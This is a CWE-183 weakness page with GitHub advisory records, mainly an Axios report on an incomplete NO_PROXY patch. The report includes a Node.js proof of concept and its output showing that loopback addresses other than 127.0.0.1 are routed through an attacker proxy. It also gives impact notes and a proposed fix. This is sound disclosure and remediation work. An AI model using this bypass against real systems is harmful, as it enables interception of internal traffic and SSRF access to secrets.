CWE-183
AllowedPermissive List of Allowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.
79 vulnerabilities reference this CWE, most recent first.
GHSA-MJ9C-VJP9-PGGH
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2022-09-08 19:49Jenkins Puppet Enterprise Pipeline 1.3.1 and earlier specifies unsafe values in its custom Script Security whitelist, allowing attackers able to execute Script Security protected scripts to execute arbitrary code.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins.workflow:puppet-enterprise-pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10458"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-08T19:49:02Z",
"nvd_published_at": "2019-10-16T14:15:00Z",
"severity": "CRITICAL"
},
"details": "Jenkins Puppet Enterprise Pipeline 1.3.1 and earlier specifies unsafe values in its custom Script Security whitelist, allowing attackers able to execute Script Security protected scripts to execute arbitrary code.",
"id": "GHSA-mj9c-vjp9-pggh",
"modified": "2022-09-08T19:49:02Z",
"published": "2022-05-24T16:58:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10458"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/puppet-enterprise-pipeline-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-10-16/#SECURITY-918"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incorrect Authorization in Puppet Enterprise Pipeline Jenkins Plugin"
}
GHSA-PMWG-CVHR-8VH7
Vulnerability from github – Published: 2026-05-05 00:20 – Updated: 2026-05-05 00:201. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.
Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.
The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.
The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.
The patch introduced a hardcoded set of recognized loopback addresses:
// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.
As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.
Verification This bypass has been independently verified on:
- Axios version: 1.15.0 (latest patched release)
- Node.js version: v22.16.0
- OS: Kali Linux (rolling)
The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.
2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location
| Field | Detail |
|---|---|
| File | lib/helpers/shouldBypassProxy.js |
| Primary Flaw | isLoopback() — Line 1–3 |
| Supporting Function | shouldBypassProxy() — Line 59–110 |
| Axios Version | 1.15.0 (Latest Patched Release) |
2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:
// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
let proxy = configProxy;
if (!proxy && proxy !== false) {
const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var
if (proxyUrl) {
if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY
proxy = new URL(proxyUrl); // Step 3: Assign proxy
}
}
}
}
shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.
2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:
Request URL → http://localhost./secret
NO_PROXY → "localhost,127.0.0.1,::1"
Comparison:
"localhost." === "localhost" → FALSE → Proxy used ← BYPASS
"[::1]" === "::1" → FALSE → Proxy used ← BYPASS
Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.
2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:
Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:
const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
// Remove IPv6 brackets: "[::1]" → "::1"
if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
hostname = hostname.slice(1, -1);
}
// Strip trailing FQDN dot: "localhost." → "localhost"
return hostname.replace(/\.+$/, '');
};
Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
|| (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// If both sides are "loopback" → treat as match
Fix C Normalization Applied on Both Sides (Lines 81 & 90)
// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);
2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:
// lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
// ^^^^^^^^^^^
// Only ONE IPv4 loopback address is recognized.
// The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// ^^^^^^^^^
// Returns FALSE for any 127.x.x.x ≠ 127.0.0.1
*RFC 1122 §3.2.1.3 is unambiguous:
"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."
This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.
2.6 Step-by-Step Bypass Execution Trace Environment:
NO_PROXY = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"
Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):
// Step 1 — Parse the request URL
parsed = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2" // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy = "localhost,127.0.0.1,::1" // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
// No brackets → skip
// No trailing dot → skip
// Result: "127.0.0.2" (unchanged)
// Step 4 — Iterate over NO_PROXY entries
// Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost" → false
isLoopback("127.0.0.2") → false ← Set.has() returns false
BYPASS starts here
// Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1" → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1" → false
isLoopback("127.0.0.2") && isLoopback("::1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Step 5 — Final return
shouldBypassProxy() → false
// Axios proceeds to route the request through the configured proxy.
// The attacker's proxy server receives the full request including headers
// and any response from the internal service.
2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).
| Aspect | Original Bug | This Finding |
|---|---|---|
| What was wrong | No normalization before comparison | Incomplete loopback address set |
| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |
| RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 |
| Bypass method | Alternate string representation | Alternate valid loopback address |
| Impact | NO_PROXY bypass → SSRF | NO_PROXY bypass → SSRF (identical) |
**2.8 Total Exposed Address Space**
Protected by patch: 127.0.0.1 (1 address)
Unprotected loopback: 127.0.0.2
through
127.255.255.254 (16,777,213 addresses)
Real-world services that commonly bind to non-standard loopback addresses include:
- Internal microservices and admin dashboards using dedicated loopback IPs
- Development environments with multiple isolated service instances
- Docker and container bridge network configurations
- Test infrastructure allocating sequential loopback IPs across services
3. Comprehensive Attack Vector & Proof of Concept
3.1 Reproduction Steps
Step 1 — Create a fresh project directory
mkdir axios-bypass-test && cd axios-bypass-test
Step 2 — Initialize the project with the patched Axios version
Create package.json:
{
"type": "module",
"dependencies": {
"axios": "1.15.0"
}
}
Install dependencies:
npm install
Verify the installed version:
npm list axios
# Expected output: axios@1.15.0
Step 3 — Create the PoC file (poc.js)
import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
console.log('\n[!] PROXY HIT — Attacker proxy received request!');
console.log(` Method : ${req.method}`);
console.log(` URL : ${req.url}`);
console.log(` Host : ${req.headers.host}`);
res.writeHead(200);
res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
console.log(`\n[*] Testing: ${url}`);
try {
const res = await axios.get(url, { timeout: 2000 });
if (res.data === 'proxied') {
console.log(' Result → [PROXIED] ← BYPASS CONFIRMED');
} else {
console.log(' Result → [DIRECT] ← Safe, no proxy used');
}
} catch (err) {
if (err.code === 'ECONNREFUSED') {
console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)');
}
}
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
// Section A: Cases fixed by the existing patch — expected to go DIRECT
console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
await test('http://localhost:9191/secret');
await test('http://localhost.:9191/secret');
await test('http://[::1]:9191/secret');
// Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
await test('http://127.0.0.2:9191/secret');
await test('http://127.0.0.100:9191/secret');
await test('http://127.1.2.3:9191/secret');
process.exit(0);
}, 500);
Step 4 — Execute the PoC
node poc.js
3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:
=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://localhost.:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://[::1]:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.2:9191/secret
Host : 127.0.0.2:9191
Result → [PROXIED] ← BYPASS CONFIRMED
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.100:9191/secret
Host : 127.0.0.100:9191
Result → [PROXIED] ← BYPASS CONFIRMED
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.1.2.3:9191/secret
Host : 127.1.2.3:9191
Result → [PROXIED] ← BYPASS CONFIRMED
3.3 Analysis of Results The output conclusively demonstrates the following:
Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.
Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.
This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.
4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.
4.1 Who Is Impacted?
Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:
Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment
(common in corporate networks, cloud deployments,
containerised environments, and CI/CD pipelines)
Condition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
to protect loopback or internal services from proxy routing
Affected Deployment Environments | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High|
Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.
4.3 Impact Details
Impact 1 Silent Interception of Internal Service Traffic
When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.
Developer expects: Application → 127.0.0.2:8080 (direct)
Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
- Full request URL
- HTTP method
- All request headers (including Authorization, Cookie, API keys)
- Request body (for POST/PUT requests)
- Full response from the internal service
The developer receives no error or warning. From the application's perspective, the request succeeds normally.
Impact 2 — SSRF Mitigation Bypass
Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.
SSRF Protection (as configured by developer):
NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
All loopback/internal addresses
What is actually protected:
Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
127.0.0.2 through 127.255.255.254 (16,777,213 addresses)
An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.
Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.
While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:
- Retrieve temporary IAM credentials
- Access environment variables containing secrets
- Enumerate internal service configurations
- Pivot to other internal services via the compromised credentials
Impact 4 — Confidential Data Exfiltration
Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:
| Internal Service Type | Exposed Data |
|---|---|
| Admin panels / dashboards | User data, configuration, logs |
| Internal APIs | Business logic, database contents |
| Secret managers / vaults | API keys, tokens, certificates |
| Health check endpoints | Infrastructure topology |
| Development services | Source code, environment variables |
Impact 5 — No Indication of Compromise A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.
4.4 Comparison with Original Vulnerability
| Internal Service Type | Exposed Data | Exposed Data |
|---|---|---|
| Attack method | Use localhost. or [::1] | Use any 127.x.x.x ≠ 127.0.0.1 |
| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 |
| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) |
| Attacker effort | Trivial | Trivial |
| Detection by developer | None | None |
| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) |
The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.
5. Technical Remediation & Proposed Fix
5.1 Vulnerable Code Block
The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:
// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:
// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1
Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.
5.2 Proposed Patched Code
Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:
// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
// Named loopback hostname
if (host === 'localhost') return true;
// IPv6 loopback address
if (host === '::1') return true;
// Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
// Matches any address from 127.0.0.0 through 127.255.255.254
const parts = host.split('.');
return (
parts.length === 4 &&
parts[0] === '127' &&
parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
);
};
5.3 Diff View — Before vs After
// lib/helpers/shouldBypassProxy.js
- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+ if (host === 'localhost') return true;
+ if (host === '::1') return true;
+ const parts = host.split('.');
+ return (
+ parts.length === 4 &&
+ parts[0] === '127' &&
+ parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+ );
+ };
All other code in shouldBypassProxy.js remains unchanged. No other files require modification.
5.4 Why This Fix Must Be Applied
Reason 1 — RFC 1122 Compliance
The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.
RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
A datagram sent by a higher-level protocol to a loopback
address MUST NOT appear on any network."
Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)
Reason 2 — The Existing Patch Has Already Failed Once
The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.
Reason 3 — Real Operating System Behaviour
On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.
# Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
# Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms
Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.
Reason 4 — The Proposed Fix Has Zero Performance Impact
The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:
- Two direct string comparisons (
'localhost','::1') — O(1) - A
split('.')and array validation — O(1) with a fixed-length array of 4 elements The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.
Reason 5 — The Fix Is Minimal and Surgical The proposed change modifies only 3 lines of a single file. It does not alter:
- The
parseNoProxyEntry()function - The
normalizeNoProxyHost()function - The
shouldBypassProxy()main function logic - Any other file in the codebase
This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.
Reason 6 — Resilient to Alternative IP Encodings
Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.
5.5 Additional Recommendation — IPv6 Loopback Range
While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:
// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1' // Full notation of ::1
'::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback
'::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback
Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42043"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:20:58Z",
"nvd_published_at": "2026-04-24T18:16:31Z",
"severity": "HIGH"
},
"details": "**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background \u2014 The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy \u2014 even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch \u2014 This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n```\nHowever, **RFC 1122 \u00a73.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File \u0026 Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() \u2014 Line 1\u20133 |\n| Supporting Function | shouldBypassProxy() \u2014 Line 59\u2013110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js \u2014 Lines 191\u2013199\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n if (!proxy \u0026\u0026 proxy !== false) {\n const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var\n if (proxyUrl) {\n if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY\n proxy = new URL(proxyUrl); // Step 3: Assign proxy\n }\n }\n }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL \u2192 http://localhost./secret\nNO_PROXY \u2192 \"localhost,127.0.0.1,::1\"\nComparison:\n \"localhost.\" === \"localhost\" \u2192 FALSE \u2192 Proxy used \u2190 BYPASS\n \"[::1]\" === \"::1\" \u2192 FALSE \u2192 Proxy used \u2190 BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 \u00a73.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 \u00a73.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n\u003cimg width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" /\u003e\n\n**Fix A `normalizeNoProxyHost()` (Lines 47\u201357)**\nStrips alternate representations before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) =\u003e {\n if (!hostname) return hostname;\n // Remove IPv6 brackets: \"[::1]\" \u2192 \"::1\"\n if (hostname.charAt(0) === \u0027[\u0027 \u0026\u0026 hostname.charAt(hostname.length - 1) === \u0027]\u0027) {\n hostname = hostname.slice(1, -1);\n }\n // Strip trailing FQDN dot: \"localhost.\" \u2192 \"localhost\"\n return hostname.replace(/\\.+$/, \u0027\u0027);\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1\u20133 \u0026 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// Line 108 \u2014 Final match condition:\nreturn hostname === entryHost\n || (isLoopback(hostname) \u0026\u0026 